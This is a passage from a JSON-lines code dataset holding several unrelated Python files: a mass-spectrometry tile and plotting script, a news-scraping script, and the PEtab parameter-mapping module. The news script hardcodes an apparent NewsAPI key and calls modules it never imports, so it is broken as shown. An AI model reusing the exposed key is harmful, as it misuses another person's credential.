os, regex\nimport pandas as pd\nimport numpy as np\nfrom collections import Iterable\nfrom itertools import chain\nimport matplotlib.pyplot as plt\nimport matplotlib.lines as mlines\n\nfrom IPython.display import display\n\nfinancePATH = r\"../0202/financeTXT/\"\n# responsPATH = r\"../0202/responsibilityTXT/\"\n# financetxts = os.listdir(financePATH)\nfinancetxts = [\"601727_上海电气_H股公告-2017年年度报告.txt\", \"601238_广汽集团_H股公告-2017年年度报告.txt\"]\n# responstxts = os.listdir(responsPATH)\nCODES, CORPS = zip(*(map(lambda x: x[:2], [regex.split(r\"_+\", item) for item in financetxts])))\n\n\nfrom Green import *\n# 包含的函数: parseTXT InfoQuantify parseContentNO getScore getTXTIndex getVariable\n\n# i = getTXTIndex(\"000625\", txts=responstxts)\n# getVariable(i, path=responsPATH, txts=responstxts, margin=70, precise=False, preciseRatio=(4, 5))\n\ndef plot_(df, save=False, fname=r\"./fig/temp.png\", respons=False):\n fig = plt.figure(figsize=(8*2, 4*1.5))\n \n df, df2 = df[df.precise==True], df[df.precise==False]\n \n x = range(df.shape[0])\n s = df.preciseRatioB.values*35\n alpha = .5\n if not respons: plt.scatter(x, df.finance, c=\"b\", marker=\"s\", alpha=alpha, s=s)\n plt.scatter(x, df.quantify, c=\"r\", marker=\"o\", alpha=alpha, s=s)\n plt.scatter(x, df.time, c=\"g\", marker=\"v\", alpha=alpha, s=s)\n \n if not respons: plt.plot(x, df2.finance, c=\"b\", alpha=alpha)\n plt.plot(x, df2.quantify, c=\"r\", alpha=alpha)\n plt.plot(x, df2.time, c=\"g\", alpha=alpha)\n \n plt.yticks(range(4), range(4), size=15)\n plt.ylim(top=3.3)\n xx = [\"c={} r1={} r2={} r={}\".format(*item) for item in zip(\n df.margin.values, df.preciseRatioF.values/10, \n df.preciseRatioB.values/10, df2.preciseRatioB.values/10\n )]\n plt.xticks(x, xx, size=10, rotation=90)\n \n ms = 12\n if not respons: b = mlines.Line2D([], [], color='b', marker='s', markersize=ms, label='Manifest', alpha=.6)\n r = mlines.Line2D([], [], color='r', marker='o', markersize=ms, label='Quantitative', alpha=.6)\n g = mlines.Line2D([], [], color='g', marker='v',markersize=ms, label='Temporality', alpha=.6)\n if not respons: plt.legend(handles=[b, r, g], title=df.code.iloc[0])\n else: plt.legend(handles=[r, g], title=df.code.iloc[0])\n \n plt.grid(alpha=.5, axis=\"y\", linestyle=\"--\")\n plt.ylabel(\"score\", size=12)\n \n fig.tight_layout()\n if save: fig.savefig(fname, bbox_inches=\"tight\", dpi=200)\n plt.show()\n\ndef reliable(N, margin=range(10, 110, 30), ratio1=range(1, 6, 2), \n ratio2=range(5, 11, 2), precise=None, random=False, respons=False,\n plot=True, savep=True, table=True, savet=True, remove=True, convert=True):\n '''\n 当 random=True 时,N 表示随机取企业的个数,random=False 时, N 表示 txtpath 下第几家企业\n 注意设定的\n ratio1 < 5\n ratio2 >= 5\n '''\n txts = financetxts if not respons else responstxts\n path = financePATH if not respons else responsPATH\n\n corps = list(np.random.randint(0, len(txts), N)) if random else [N]\n for item in corps:\n # print(item)\n fnamet = r\"./temp/csv/{}_{}.csv\".format(CODES[item], CORPS[item])\n fnamep = r\"./temp/fig/{}_{}.png\".format(CODES[item], CORPS[item])\n\n if os.path.exists(fnamet):\n # 判断df文件是否存在\n if remove: os.remove(fnamet); print(\"{} removed\".format(fnamet))\n else: print(\"{} exists\".format(fnamet)); return None\n\n margin = list(margin) if isinstance(margin, Iterable) else [margin]\n ratio2 = list(ratio2) if isinstance(ratio2, Iterable) else [ratio2]\n \n def f_(precise, ratio1, ratio2):\n if not precise: \n ratio2 = np.linspace(1, 9, int(len(ratio1)*len(ratio2)), dtype=np.int)\n dfs = [getVariable(item, path=path, txts=txts, margin=m, precise=precise, preciseRatio=(r2, r2), convert=convert) for m in margin for r2 in ratio2]\n\n else: \n ratio1 = list(ratio1) if isinstance(ratio1, Iterable) else [ratio1]\n dfs = [getVariable(item, path=path, txts=txts,margin=m, precise=precise, preciseRatio=(r1, r2), convert=convert) for m in margin for r1 in ratio1 for r2 in ratio2]\n return dfs\n if precise is None:\n # 当 precise 为 None 时,取两种情况\n dfs = f_(precise=True, ratio1=ratio1, ratio2=ratio2)\n dfs.extend(f_(precise=False, ratio1=ratio1, ratio2=ratio2))\n else:\n dfs = f_(precise=precise, ratio1=ratio1, ratio2=ratio2)\n\n df = pd.concat(dfs, ignore_index=True)\n \n code = CODES[item]\n df.insert(0, \"code\", code)\n df[\"random\"] = random\n df[\"i\"] = item\n df[\"corp\"] = CORPS[item]\n \n if plot: plot_(df, save=savep, fname=fnamep, respons=respons)\n if table: display(df)\n if savet: df.to_csv(fnamet, encoding=\"gbk\", index=False)\n print(\"item: {} csvfile: {} done\".format(item, fnamet))\n return df # 若 random=True,则返回最后一个df\n\n\n# df = reliable(2, margin=range(10, 110, 30), ratio1=range(4, 6, 2), ratio2=range(8, 11, 2), \n# remove=True, plot=True, respons=True, random=True)\n\n# 多线程\nfrom multiprocessing import Pool\n\npool = Pool()\nnum = len(financetxts)\nprint(num, financetxts)\ntemp = pool.imap_unordered(reliable, range(num))\nresult = [item for item in temp]\npool.close()","sub_path":"0207/gainVariablePool.py","file_name":"gainVariablePool.py","file_ext":"py","file_size_in_byte":5444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"139320635","text":"from newsapi.newsapi_client import NewsApiClient\n#from newsapi import NewsApiClient\n\n# Init\nnewsapi = NewsApiClient(api_key='e8b1ec980d9d493682ba80d44fd69f58')\n\nimport pandas as pd\nfrom pandas.io.json import json_normalize\n\nfrom bs4 import BeautifulSoup\n#if problems with pipenv install Beautifulsoup run following command\n#pipenv install BeautifulSoup4\n\n# /v2/top-headlines\ntop_headlines = newsapi.get_top_headlines(q='EU',\n #sources='bbc-news,the-verge',\n #category='business',\n language='en',\n country='us')\n\n#va\nall_articles = newsapi.get_everything(q='EU',\n #sources='bbc-news,the-verge',\n #domains='bbc.co.uk,techcrunch.com',\n from_param='2021-01-17',\n to='2021-02-17',\n language='en',\n sort_by='relevancy',\n page=4)\n\n\n\ntop_headlines = json_normalize(top_headlines['articles']) \n\ntop_articles = json_normalize(all_articles['articles'])\n\nprint(top_headlines)\nprint(top_articles)\nnewdf = top_articles.get(['title','source.name','url'])\n\nprint (newdf)\n\ndic=newdf.set_index('title','content','url').to_dict() #['url']\n\nimport datetime\nfrom datetime import datetime, timedelta\ndef date(base): \n date_list=[] \n yr=datetime.today().year \n if (yr%400)==0 or ((yr%100!=0) and (yr%4==0)): \n numdays=366 \n date_list.append([base - timedelta(days=x) for x in \n range(366)]) \n else: \n numdays=365 \n date_list.append([base - timedelta(days=x) for x in \n range(365)]) \n newlist=[] \n for i in date_list: \n for j in sorted(i): \n newlist.append(j) \n return newlist \ndef last_30(base): \n date_list=[base - timedelta(days=x) for x in range(30)] \n return sorted(date_list) \ndef from_dt(x): \n from_dt=[] \n for i in range(len(x)): \n from_dt.append(last_30(datetime.today())[i-1].date()) \n return from_dt \ndef to_dt(x): \n to_dt=[] \n for i in range(len(x)): \n to_dt.append(last_30(datetime.today())[i].date()) \n return to_dt\nfrom_list=from_dt(last_30(datetime.today()))\nto_list=to_dt(last_30(datetime.today()))\n\ndef func(query): \n newd={} \n newdf=pd.DataFrame() \n for (from_dt,to_dt) in zip(from_list,to_list): \n all_articles = newsapi.get_everything(q=query,language='en',\n sort_by='relevancy',from_param=from_dt,to=to_dt) \n d=json_normalize(all_articles['articles']) \n newdf=d[[\"url\",\"publishedAt\",\"source.name\",\"author\"]]\n dic=newdf.set_index([\"source.name\",\"publishedAt\",\"author\"]) \n [\"url\"].to_dict() \n for (k,v) in dic.items(): \n page = requests.get(v) \n html = page.content \n soup = BeautifulSoup(html, \"lxml\") \n text = soup.get_text() \n d2=soup.find_all(\"p\") \n newd[k]=re.sub(r'<.+?>',r'',str(d2)) \n return newd\n\n print(newd)\n\n##Later user interface like this\n#def top_headlines(): \n #country=input(\"Which country are you interested in?\") \n #category=input(\"\"\"Which category are you interested in? \\nHere \n #are the categories to choose from:\\nbusiness\\nentertainment \n #\\ngeneral\\nhealth\\nscience\\ntechnology\"\"\") \n #top_headlines =newsapi.get_top_headlines(category=category,\n #language='en',country=country) \n #top_headlines=json_normalize(top_headlines['articles']) \n #newdf=top_headlines[[\"title\",\"url\"]] \n #dic=newdf.set_index('title')['url'].to_dict()\n\n\n\n\n# /v2/everything\n#all_articless = newsapi.get_everything(q='Putin',\n# #sources='bbc-news,the-verge',\n# #domains='bbc.co.uk,techcrunch.com',\n# from_param='2021-01-17',\n# to='2021-02-17',\n# language='en',\n# sort_by='relevancy',\n# page=2)\n#\n#all_articless = json_normalize(all_articless['Articles'])\n#newdff = all_articless.get(['title','source.name','url'])\n#print(newdff)\n\n# /v2/sources\nsources = newsapi.get_sources()\n\n#print (all_articles)\n\n","sub_path":"functions_ind2.py","file_name":"functions_ind2.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"253774279","text":"\"\"\"Functions related to mapping parameter from model to parameter estimation\nproblem\"\"\"\n\nimport logging\nimport numbers\nimport os\nimport re\nfrom typing import Tuple, Dict, Union, Any, List, Optional, Iterable\n\nimport libsbml\nimport numpy as np\nimport pandas as pd\n\nfrom . import lint, measurements, sbml, core, observables\nfrom . import ENV_NUM_THREADS\nfrom .C import * # noqa: F403\n\n\nlogger = logging.getLogger(__name__)\n\n# Parameter mapping for condition\nParMappingDict = Dict[str, Union[str, numbers.Number]]\n# Parameter mapping for combination of preequilibration and simulation\n# condition\nParMappingDictTuple = Tuple[ParMappingDict, ParMappingDict]\n# Same for scale mapping\nScaleMappingDict = Dict[str, str]\nScaleMappingDictTuple = Tuple[ScaleMappingDict, ScaleMappingDict]\n\n\ndef get_optimization_to_simulation_parameter_mapping(\n condition_df: pd.DataFrame,\n measurement_df: pd.DataFrame,\n parameter_df: Optional[pd.DataFrame] = None,\n observable_df: Optional[pd.DataFrame] = None,\n sbml_model: Optional[libsbml.Model] = None,\n simulation_conditions: Optional[pd.DataFrame] = None,\n warn_unmapped: Optional[bool] = True) -> List[ParMappingDictTuple]:\n \"\"\"\n Create list of mapping dicts from PEtab-problem to SBML parameters.\n\n Mapping can be performed in parallel. The number of threads is controlled\n by the environment variable with the name of petab.ENV_NUM_THREADS.\n\n Parameters:\n condition_df, measurement_df, parameter_df, observable_df:\n The dataframes in the PEtab format.\n\n sbml_model:\n The sbml model with observables and noise specified according to\n the PEtab format.\n\n simulation_conditions:\n Table of simulation conditions as created by\n ``petab.get_simulation_conditions``.\n\n warn_unmapped:\n If ``True``, log warning regarding unmapped parameters\n\n Returns:\n The length of the returned array is n_conditions, each entry is a tuple\n of two dicts of length n_par_sim, listing the optimization parameters\n or constants to be mapped to the simulation parameters, first for\n preequilibration (empty if no preequilibration condition is specified),\n second for simulation. ``NaN`` is used where no mapping exists.\n \"\"\"\n # Ensure inputs are okay\n _perform_mapping_checks(measurement_df)\n\n if simulation_conditions is None:\n simulation_conditions = measurements.get_simulation_conditions(\n measurement_df)\n\n simulation_parameters = sbml.get_model_parameters(sbml_model,\n with_values=True)\n # Add output parameters that are not already defined in the SBML model\n if observable_df is not None:\n output_parameters = observables.get_output_parameters(\n observable_df=observable_df, sbml_model=sbml_model)\n for par_id in output_parameters:\n simulation_parameters[par_id] = np.nan\n\n num_threads = int(os.environ.get(ENV_NUM_THREADS, 1))\n\n # If sequential execution is request, let's not create any\n # thread-allocation overhead\n if num_threads == 1:\n mapping = map(\n _map_condition,\n _map_condition_arg_packer(\n simulation_conditions, measurement_df, condition_df,\n parameter_df, simulation_parameters, warn_unmapped))\n return list(mapping)\n\n # Run multi-threaded\n from concurrent.futures import ThreadPoolExecutor\n with ThreadPoolExecutor(max_workers=num_threads) as executor:\n mapping = executor.map(\n _map_condition,\n _map_condition_arg_packer(\n simulation_conditions, measurement_df, condition_df,\n parameter_df, simulation_parameters, warn_unmapped))\n return list(mapping)\n\n\ndef _map_condition_arg_packer(simulation_conditions, measurement_df,\n condition_df, parameter_df,\n simulation_parameters, warn_unmapped):\n \"\"\"Helper function to pack extra arguments for _map_condition\"\"\"\n for _, condition in simulation_conditions.iterrows():\n yield(condition, measurement_df, condition_df, parameter_df,\n simulation_parameters, warn_unmapped)\n\n\ndef _map_condition(packed_args):\n \"\"\"Helper function for parallel condition mapping.\n\n For arguments see get_optimization_to_simulation_parameter_mapping\"\"\"\n\n (condition, measurement_df, condition_df, parameter_df,\n simulation_parameters, warn_unmapped) = packed_args\n\n cur_measurement_df = measurements.get_rows_for_condition(\n measurement_df, condition)\n\n if PREEQUILIBRATION_CONDITION_ID not in condition \\\n or not isinstance(condition[PREEQUILIBRATION_CONDITION_ID], str) \\\n or not condition[PREEQUILIBRATION_CONDITION_ID]:\n preeq_map = {}\n else:\n preeq_map = get_parameter_mapping_for_condition(\n condition_id=condition[PREEQUILIBRATION_CONDITION_ID],\n is_preeq=True,\n cur_measurement_df=cur_measurement_df,\n condition_df=condition_df,\n parameter_df=parameter_df,\n simulation_parameters=simulation_parameters,\n warn_unmapped=warn_unmapped\n )\n\n sim_map = get_parameter_mapping_for_condition(\n condition_id=condition[SIMULATION_CONDITION_ID],\n is_preeq=False,\n cur_measurement_df=cur_measurement_df,\n condition_df=condition_df,\n parameter_df=parameter_df,\n simulation_parameters=simulation_parameters,\n warn_unmapped=warn_unmapped\n )\n\n return preeq_map, sim_map\n\n\ndef get_parameter_mapping_for_condition(\n condition_id: str,\n is_preeq: bool,\n cur_measurement_df: pd.DataFrame,\n condition_df: pd.DataFrame,\n parameter_df: pd.DataFrame = None,\n sbml_model: Optional[libsbml.Model] = None,\n simulation_parameters: Optional[Dict[str, str]] = None,\n warn_unmapped: bool = True) -> ParMappingDict:\n \"\"\"\n Create dictionary of mappings from PEtab-problem to SBML parameters for the\n given condition.\n\n Parameters:\n condition_id: Condition ID for which to perform mapping\n\n is_preeq: If ``True``, output parameters will not be mapped\n\n cur_measurement_df: Measurement sub-table for current condition\n\n condition_df:\n PEtab condition DataFrame\n\n parameter_df:\n PEtab parameter DataFrame\n\n sbml_model:\n The sbml model with observables and noise specified according to\n the PEtab format used to retrieve simulation parameter IDs.\n Mutually exclusive with ``simulation_parameter_ids``.\n\n simulation_parameters:\n Model simulation parameter IDs mapped to parameter values (output\n of ``petab.sbml.get_model_parameters(.., with_values=True)``).\n Mutually exclusive with ``sbml_model``.\n\n warn_unmapped:\n If ``True``, log warning regarding unmapped parameters\n\n Returns:\n Dictionary of parameter IDs with mapped parameters IDs to be estimated\n or filled in values in case of non-estimated parameters. NaN is used\n where no mapping exists.\n \"\"\"\n _perform_mapping_checks(cur_measurement_df)\n\n if simulation_parameters is not None and sbml_model is None:\n pass\n elif simulation_parameters is None and sbml_model is not None:\n simulation_parameters = sbml.get_model_parameters(sbml_model,\n with_values=True)\n else:\n raise ValueError(\"Must provide exactly one of `sbml_model` and \"\n \"`simulation_parameter_ids`.\")\n\n # NOTE: order matters here - the former is overwritten by the latter:\n # SBML model < condition table < measurement < table parameter table\n\n # initialize mapping dict\n # for the case of matching simulation and optimization parameter vector\n mapping = simulation_parameters.copy()\n\n _output_parameters_to_nan(mapping)\n\n # not strictly necessary for preequilibration, be we do it to have\n # same length of parameter vectors\n _apply_output_parameter_overrides(mapping, cur_measurement_df)\n\n if not is_preeq:\n handle_missing_overrides(mapping, warn=warn_unmapped)\n\n _apply_condition_parameters(mapping, condition_id, condition_df)\n _apply_parameter_table(mapping, parameter_df)\n return mapping\n\n\ndef _output_parameters_to_nan(mapping: ParMappingDict) -> None:\n \"\"\"Set output parameters in mapping dictionary to nan\"\"\"\n rex = re.compile(\"^(noise|observable)Parameter[0-9]+_\")\n for key in mapping.keys():\n try:\n matches = rex.match(key)\n except TypeError:\n continue\n\n if matches:\n mapping[key] = np.nan\n\n\ndef _apply_output_parameter_overrides(\n mapping: ParMappingDict,\n cur_measurement_df: pd.DataFrame) -> None:\n \"\"\"\n Apply output parameter overrides to the parameter mapping dict for a given\n condition as defined in the measurement table (``observableParameter``,\n ``noiseParameters``).\n\n Arguments:\n mapping: parameter mapping dict as obtained from\n ``get_parameter_mapping_for_condition``\n cur_measurement_df:\n Subset of the measurement table for the current condition\n \"\"\"\n for _, row in cur_measurement_df.iterrows():\n # we trust that the number of overrides matches (see above)\n overrides = measurements.split_parameter_replacement_list(\n row.observableParameters)\n _apply_overrides_for_observable(mapping, row[OBSERVABLE_ID],\n 'observable', overrides)\n\n overrides = measurements.split_parameter_replacement_list(\n row.noiseParameters)\n _apply_overrides_for_observable(mapping, row[OBSERVABLE_ID], 'noise',\n overrides)\n\n\ndef _apply_overrides_for_observable(\n mapping: ParMappingDict,\n observable_id: str,\n override_type: str,\n overrides: List[str]) -> None:\n \"\"\"\n Apply parameter-overrides for observables and noises to mapping\n matrix.\n\n Arguments:\n mapping: mapping dict to which to apply overrides\n observable_id: observable ID\n override_type: 'observable' or 'noise'\n overrides: list of overrides for noise or observable parameters\n \"\"\"\n for i, override in enumerate(overrides):\n overridee_id = f'{override_type}Parameter{i+1}_{observable_id}'\n try:\n mapping[overridee_id] = override\n except KeyError as e:\n raise TypeError(f'Cannot override {override_type} parameter '\n f'{overridee_id} for observable {observable_id}.'\n f'Ensure there exists an {override_type} '\n 'definition containing the correct number of '\n 'placeholder parameters.') from e\n\n\ndef _apply_condition_parameters(mapping: ParMappingDict,\n condition_id: str,\n condition_df: pd.DataFrame) -> None:\n \"\"\"Replace parameter IDs in parameter mapping dictionary by condition\n table parameter values (in-place).\n\n Arguments:\n mapping:\n see get_parameter_mapping_for_condition\n condition_id: ID of condition to work on\n condition_df: PEtab condition table\n \"\"\"\n for overridee_id in condition_df.columns:\n if overridee_id == CONDITION_NAME:\n continue\n\n mapping[overridee_id] = core.to_float_if_float(\n condition_df.loc[condition_id, overridee_id])\n\n\ndef _apply_parameter_table(mapping: ParMappingDict,\n parameter_df: Optional[pd.DataFrame] = None\n ) -> None:\n \"\"\"Replace parameters from parameter table in mapping list for a given\n condition.\n\n Replace non-estimated parameters by ``nominalValues``\n (un-scaled / lin-scaled), replace estimated parameters by the respective\n ID.\n\n Arguments:\n mapping:\n mapping dict obtained from ``get_parameter_mapping_for_condition``\n parameter_df:\n PEtab parameter table\n \"\"\"\n\n if parameter_df is None:\n return\n\n for row in parameter_df.itertuples():\n if row.Index not in mapping:\n # The current parameter is not required for this condition\n continue\n\n if getattr(row, ESTIMATE) == 0:\n mapping[row.Index] = getattr(row, NOMINAL_VALUE)\n else:\n mapping[row.Index] = row.Index\n\n # Replace any leftover mapped parameter coming from condition table\n for key, value in mapping.items():\n # string indicates unmapped\n if isinstance(value, str):\n try:\n # the overridee is a model parameter\n mapping[key] = mapping[value]\n except KeyError:\n if parameter_df is not None:\n # or the overridee is only defined in the parameter table\n if ESTIMATE in parameter_df \\\n and parameter_df.loc[value, ESTIMATE] == 0:\n mapping[key] = parameter_df.loc[value, NOMINAL_VALUE]\n else:\n raise\n\n\ndef get_optimization_to_simulation_scale_mapping(\n parameter_df: pd.DataFrame,\n mapping_par_opt_to_par_sim: List[ParMappingDictTuple],\n measurement_df: pd.DataFrame,\n simulation_conditions: Optional[pd.DataFrame] = None\n) -> List[ScaleMappingDictTuple]:\n \"\"\"Get parameter scale mapping for all conditions\n\n Arguments:\n parameter_df:\n PEtab parameter DataFrame\n mapping_par_opt_to_par_sim:\n Parameter mapping as obtained from\n ``get_optimization_to_simulation_parameter_mapping``\n measurement_df:\n PEtab measurement DataFrame\n simulation_conditions:\n Result of ``petab.measurements.get_simulation_conditions`` to\n avoid reevaluation.\n\n Returns:\n List of tuples with mapping dictionaries.\n \"\"\"\n mapping_scale_opt_to_scale_sim = []\n\n if simulation_conditions is None:\n simulation_conditions = measurements.get_simulation_conditions(\n measurement_df)\n\n # iterate over conditions\n for condition_ix, condition in simulation_conditions.iterrows():\n if PREEQUILIBRATION_CONDITION_ID not in condition \\\n or not isinstance(condition.preequilibrationConditionId, str) \\\n or not condition.preequilibrationConditionId:\n preeq_map = {}\n else:\n preeq_map = get_scale_mapping_for_condition(\n parameter_df=parameter_df,\n mapping_par_opt_to_par_sim=mapping_par_opt_to_par_sim[\n condition_ix][0]\n )\n\n sim_map = get_scale_mapping_for_condition(\n parameter_df=parameter_df,\n mapping_par_opt_to_par_sim=mapping_par_opt_to_par_sim[\n condition_ix][1]\n )\n\n # append to mapping\n mapping_scale_opt_to_scale_sim.append((preeq_map, sim_map),)\n\n return mapping_scale_opt_to_scale_sim\n\n\ndef get_scale_mapping_for_condition(\n parameter_df: pd.DataFrame,\n mapping_par_opt_to_par_sim: ParMappingDict) -> ScaleMappingDict:\n \"\"\"Get parameter scale mapping for the given condition.\n\n Arguments:\n parameter_df: PEtab parameter table\n mapping_par_opt_to_par_sim:\n Mapping as obtained from ``get_parameter_mapping_for_condition``\n\n Returns:\n Mapping dictionary: parameterId => parameterScale\n \"\"\"\n def get_scale(par_id_or_val):\n if isinstance(par_id_or_val, numbers.Number):\n # fixed value assignment\n return LIN\n\n # is par opt id, thus extract its scale\n try:\n return parameter_df.loc[par_id_or_val, PARAMETER_SCALE]\n except KeyError:\n # This is a condition-table parameter which is not\n # present in the parameter table. Those are assumed to be\n # 'lin'\n return LIN\n\n return {par: get_scale(val)\n for par, val in mapping_par_opt_to_par_sim.items()}\n\n\ndef _perform_mapping_checks(measurement_df: pd.DataFrame) -> None:\n \"\"\"Check for PEtab features which we can't account for during parameter\n mapping.\"\"\"\n\n if lint.measurement_table_has_timepoint_specific_mappings(measurement_df):\n # we could allow that for floats, since they don't matter in this\n # function and would be simply ignored\n raise ValueError(\n \"Timepoint-specific parameter overrides currently unsupported.\")\n\n\ndef handle_missing_overrides(mapping_par_opt_to_par_sim: ParMappingDict,\n warn: bool = True,\n condition_id: str = None) -> None:\n \"\"\"\n Find all observable parameters and noise parameters that were not mapped\n and set their mapping to np.nan.\n\n Assumes that parameters matching \"(noise|observable)Parameter[0-9]+_\" were\n all supposed to be overwritten.\n\n Parameters:\n mapping_par_opt_to_par_sim:\n Output of get_parameter_mapping_for_condition\n warn:\n If True, log warning regarding unmapped parameters\n condition_id:\n Optional condition ID for more informative output\n \"\"\"\n _missed_vals = []\n rex = re.compile(\"^(noise|observable)Parameter[0-9]+_\")\n for key, val in mapping_par_opt_to_par_sim.items():\n try:\n matches = rex.match(val)\n except TypeError:\n continue\n\n if matches:\n mapping_par_opt_to_par_sim[key] = np.nan\n _missed_vals.append(key)\n\n if _missed_vals and warn:\n logger.warning(f\"Could not map the following overrides for condition \"\n f\"{condition_id}: \"\n f\"{_missed_vals}. Usually, this is just due to missing \"\n f\"data points.\")\n\n\ndef merge_preeq_and_sim_pars_condition(\n condition_map_preeq: ParMappingDict,\n condition_map_sim: ParMappingDict,\n condition_scale_map_preeq: ScaleMappingDict,\n condition_scale_map_sim: ScaleMappingDict,\n condition: Any) -> None:\n \"\"\"Merge preequilibration and simulation parameters and scales for a single\n condition while checking for compatibility.\n\n This function is meant for the case where we cannot have different\n parameters (and scales) for preequilibration and simulation. Therefore,\n merge both and ensure matching scales and parameters.\n ``condition_map_sim`` and ``condition_scale_map_sim`` will ne modified in\n place.\n\n Arguments:\n condition_map_preeq, condition_map_sim:\n Parameter mapping as obtained from\n `get_parameter_mapping_for_condition`\n condition_scale_map_preeq, condition_scale_map_sim:\n Parameter scale mapping as obtained from\n `get_get_scale_mapping_for_condition`\n condition: Condition identifier for more informative error messages\n \"\"\"\n if not condition_map_preeq:\n # nothing to do\n return\n\n for idx, (par_preeq, par_sim, scale_preeq, scale_sim) \\\n in enumerate(zip(condition_map_preeq,\n condition_map_sim,\n condition_scale_map_preeq,\n condition_scale_map_sim)):\n if par_preeq != par_sim \\\n and not (np.isnan(par_sim) and np.isnan(par_preeq)):\n # both identical or both nan is okay\n if np.isnan(par_sim):\n # unmapped for simulation\n par_sim[idx] = par_preeq\n elif np.isnan(par_preeq):\n # unmapped for preeq is okay\n pass\n else:\n raise ValueError(\n 'Cannot handle different values for dynamic '\n f'parameters: for condition {condition} '\n f'parameter {idx} is {par_preeq} for preeq '\n f'and {par_sim} for simulation.')\n if scale_preeq != scale_sim:\n # both identical is okay\n if np.isnan(par_sim):\n # unmapped for simulation\n scale_sim[idx] = scale_preeq\n elif np.isnan(par_preeq):\n # unmapped for preeq is okay\n pass\n else:\n raise ValueError(\n 'Cannot handle different parameter scales '\n f'parameters: for condition {condition} '\n f'scale for parameter {idx} is {scale_preeq} for preeq '\n f'and {scale_sim} for simulation.')\n\n\ndef merge_preeq_and_sim_pars(\n parameter_mappings: Iterable[ParMappingDictTuple],\n scale_mappings: Iterable[ScaleMappingDictTuple]\n) -> Tuple[List[ParMappingDictTuple], List[ScaleMappingDictTuple]]:\n \"\"\"Merge preequilibration and simulation parameters and scales for a list\n of conditions while checking for compatibility.\n\n Parameters:\n parameter_mappings:\n As returned by\n petab.get_optimization_to_simulation_parameter_mapping\n scale_mappings:\n As returned by petab.get_optimization_to_simulation_scale_mapping.\n\n Returns:\n The parameter and scale simulation mappings, modified and checked.\n \"\"\"\n parameter_mapping = []\n scale_mapping = []\n for ic, ((map_preeq, map_sim), (scale_map_preeq, scale_map_sim)) in \\\n enumerate(zip(parameter_mappings, scale_mappings)):\n merge_preeq_and_sim_pars_condition(\n condition_map_preeq=map_preeq,\n condition_map_sim=map_sim,\n condition_scale_map_preeq=scale_map_preeq,\n condition_scale_map_sim=scale_map_sim,\n condition=ic)\n parameter_mapping.append(map_sim)\n scale_mapping.append(scale_map_sim)\n\n return parameter_mapping, scale_mapping\n","sub_path":"petab/parameter_mapping.py","file_name":"parameter_mapping.py","file_ext":"py","file_size_in_byte":22152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"113332705","text":"import pandas as pd\nimport numpy as np\nfrom matplotlib import colors, cm, text, pyplot as plt\nimport matplotlib.patches as patches\nimport os\nimport time\nfrom cmcrameri import cm\nfrom PIL import Image, ImageFont, ImageDraw, ImageEnhance\nfrom cmcrameri import cm\nimport sqlite3\nimport glob\nimport tempfile\nimport zipfile\nimport json\nimport shutil\n\n# generate a tile for each frame, annotating intersecting precursor cuboids\n\n\n# loads the metadata from the specified zip file\ndef load_precursor_cuboid_metadata(filename):\n temp_dir = tempfile.TemporaryDirectory().name\n with zipfile.ZipFile(filename, \"r\") as zf:\n zf.extractall(path=temp_dir)\n names = zf.namelist()\n with open('{}/{}'.format(temp_dir, names[0])) as json_file:\n metadata = json.load(json_file)\n # clean up the temp directory\n shutil.rmtree(temp_dir)\n return metadata\n\n\nMZ_MIN = 748 # default is 748\nMZ_MAX = 766 # default is 766\nSCAN_MIN = 350 # default is 1\nSCAN_MAX = 850 # default is 920\nRT_MIN = 2000\nRT_MAX = 2200\n\nPIXELS_X = 800\nPIXELS_Y = 800\n\nPIXELS_PER_MZ = PIXELS_X / (MZ_MAX - MZ_MIN)\nPIXELS_PER_SCAN = PIXELS_Y / (SCAN_MAX - SCAN_MIN)\n\nminimum_pixel_intensity = 1\nmaximum_pixel_intensity = 250\n\nEXPERIMENT_NAME = 'P3856'\nTILES_BASE_DIR = '/home/ubuntu/precursor-cuboid-tiles'\nRUN_NAME = 'P3856_YHE211_1_Slot1-1_1_5104'\nCONVERTED_DATABASE_NAME = '/data2/experiments/P3856/converted-databases/exp-P3856-run-{}-converted.sqlite'.format(RUN_NAME)\n\n# font paths for overlay labels\nUBUNTU_FONT_PATH = '/usr/share/fonts/truetype/liberation/LiberationSans-Regular.ttf'\nMACOS_FONT_PATH = '/Library/Fonts/Arial.ttf'\n\ndef pixel_x_from_mz(mz):\n pixel_x = int((mz - MZ_MIN) * PIXELS_PER_MZ)\n return pixel_x\n\ndef pixel_y_from_scan(scan):\n pixel_y = int((scan - SCAN_MIN) * PIXELS_PER_SCAN)\n return pixel_y\n\n# load the raw data for the region of interest\nprint('loading the raw data from {}'.format(CONVERTED_DATABASE_NAME))\ndb_conn = sqlite3.connect(CONVERTED_DATABASE_NAME)\nraw_df = pd.read_sql_query(\"select * from frames where frame_type == 0 and mz >= {} and mz <= {} and scan >= {} and scan <= {} and retention_time_secs >= {} and retention_time_secs <= {};\".format(MZ_MIN, MZ_MAX, SCAN_MIN, SCAN_MAX, RT_MIN, RT_MAX), db_conn)\ndb_conn.close()\n\nraw_df['pixel_x'] = raw_df.apply(lambda row: pixel_x_from_mz(row.mz), axis=1)\nraw_df['pixel_y'] = raw_df.apply(lambda row: pixel_y_from_scan(row.scan), axis=1)\n\n# sum the intensity of raw points that have been assigned to each pixel\npixel_intensity_df = raw_df.groupby(by=['frame_id', 'pixel_x', 'pixel_y'], as_index=False).intensity.sum()\nprint('intensity range {}..{}'.format(pixel_intensity_df.intensity.min(), pixel_intensity_df.intensity.max()))\n\n# create the colour map to convert intensity to colour\ncolour_map = plt.get_cmap('ocean')\n# colour_map = cm.batlow\nnorm = colors.LogNorm(vmin=minimum_pixel_intensity, vmax=maximum_pixel_intensity, clip=True) # aiming to get good colour variation in the lower range, and clipping everything else\n\n# calculate the colour to represent the intensity\ncolours_l = []\nfor i in pixel_intensity_df.intensity.unique():\n colours_l.append((i, colour_map(norm(i), bytes=True)[:3]))\ncolours_df = pd.DataFrame(colours_l, columns=['intensity','colour'])\npixel_intensity_df = pd.merge(pixel_intensity_df, colours_df, how='left', left_on=['intensity'], right_on=['intensity'])\n\n# create the tiles base directory\nif os.path.exists(TILES_BASE_DIR):\n shutil.rmtree(TILES_BASE_DIR)\nos.makedirs(TILES_BASE_DIR)\n\nCUBOIDS_DIR = 